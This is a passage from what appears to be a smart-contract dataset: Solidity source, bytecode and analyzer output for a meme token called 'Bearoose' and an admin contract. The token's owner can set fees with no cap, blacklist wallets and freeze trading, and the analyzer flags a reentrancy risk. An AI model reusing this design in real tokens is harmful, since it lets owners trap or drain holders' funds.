04028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561156b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6115bd82600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165282600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461175d57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156118fa57600080fd5b818303905092915050565b600081830190508281101561191957600080fd5b9291505056fea265627a7a7231582010318fff4c1da80c904e7ff68ec49d25ec12e3ee5d0deddfb3587b62f1b1643e64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 9,936 |
0xf60af0a231316035e7b03b6b3ba288c821dfb2b5 | /*
https://t.me/bearoose
We want to support this fight
$ELON VS $PUTIN
$BEAROOSE
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract bearoosecontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bearoose";
string private constant _symbol = "BEAROOSE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf910D73007938d6A9Da4d982914eb278533E0F70);
address payable private _marketingAddress = payable(0xf910D73007938d6A9Da4d982914eb278533E0F70);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b357600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b6105fe565b005b34801561020a57600080fd5b50604080518082019091526008815267426561726f6f736560c01b60208201525b6040516102389190611a29565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a7e565b61069d565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611aaa565b6106b4565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611aeb565b61071d565b34801561036d57600080fd5b506101fc61037c366004611b18565b610768565b34801561038d57600080fd5b506101fc6107b0565b3480156103a257600080fd5b506102c16103b1366004611aeb565b6107fb565b3480156103c257600080fd5b506101fc61081d565b3480156103d757600080fd5b506101fc6103e6366004611b33565b610891565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611aeb565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611b18565b6108c0565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526008815267424541524f4f534560c01b602082015261022b565b3480156104bf57600080fd5b506101fc6104ce366004611b33565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4c565b610937565b3480156104ff57600080fd5b5061026161050e366004611a7e565b610975565b34801561051f57600080fd5b5061026161052e366004611aeb565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7e565b6109d6565b34801561058457600080fd5b506102c1610593366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b33565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611aeb565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c3b565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9c565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c3b565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c3b565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c3b565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c3b565b60005b82811015610a71578160056000868685818110610a2257610a22611c70565b9050602002016020810190610a379190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9c565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c3b565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb7565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611ccf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce6565b816001815181106113cf576113cf611c70565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d03565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166b565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611699565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611738565b6001600160a01b0389166000908152600260205260409020556115c781611797565b6115d184836117e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061164582826114c2565b82101561166257505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361168c5760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611d74565b60008060008060008060008060006116b68a600c54600d54611805565b92509250925060006116c661149f565b905060008060006116d98e87878761185a565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117458385611cb7565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b60006117a161149f565b905060006117af83836118aa565b306000908152600260205260409020549091506117cc9082611738565b30600090815260026020526040902055505050565b6006546117ee90836116f6565b6006556007546117fe9082611738565b6007555050565b600080808061181f606461181989896118aa565b906114c2565b9050600061183260646118198a896118aa565b9050600061184a826118448b866116f6565b906116f6565b9992985090965090945050505050565b600080808061186988866118aa565b9050600061187788876118aa565b9050600061188588886118aa565b905060006118978261184486866116f6565b939b939a50919850919650505050505050565b6000826118b9575060006106ae565b60006118c58385611d96565b9050826118d28583611d74565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112e18161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112e182611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb057611cb0611c86565b5060010190565b60008219821115611cca57611cca611c86565b500190565b600082821015611ce157611ce1611c86565b500390565b600060208284031215611cf857600080fd5b81516112e18161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d535784516001600160a01b031683529383019391830191600101611d2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4df1868d858a06cb27059431f25c28eb8c07fe82a13ece07154ef0e903ecf2264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,937 |
0x89e858f2d0db09cc54514d8aee808fb05bf10c37 | pragma solidity >=0.6.0 <0.8.3;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// Administrators
// ----------------------------------------------------------------------------
contract Admined is Owned {
mapping (address => bool) public admins;
event AdminAdded(address addr);
event AdminRemoved(address addr);
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function isAdmin(address addr) public returns (bool) {
return (admins[addr] || owner == addr);
}
function addAdmin(address addr) public onlyOwner {
require(!admins[addr] && addr != owner);
admins[addr] = true;
emit AdminAdded(addr);
}
function removeAdmin(address addr) public onlyOwner {
require(admins[addr]);
delete admins[addr];
emit AdminRemoved(addr);
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
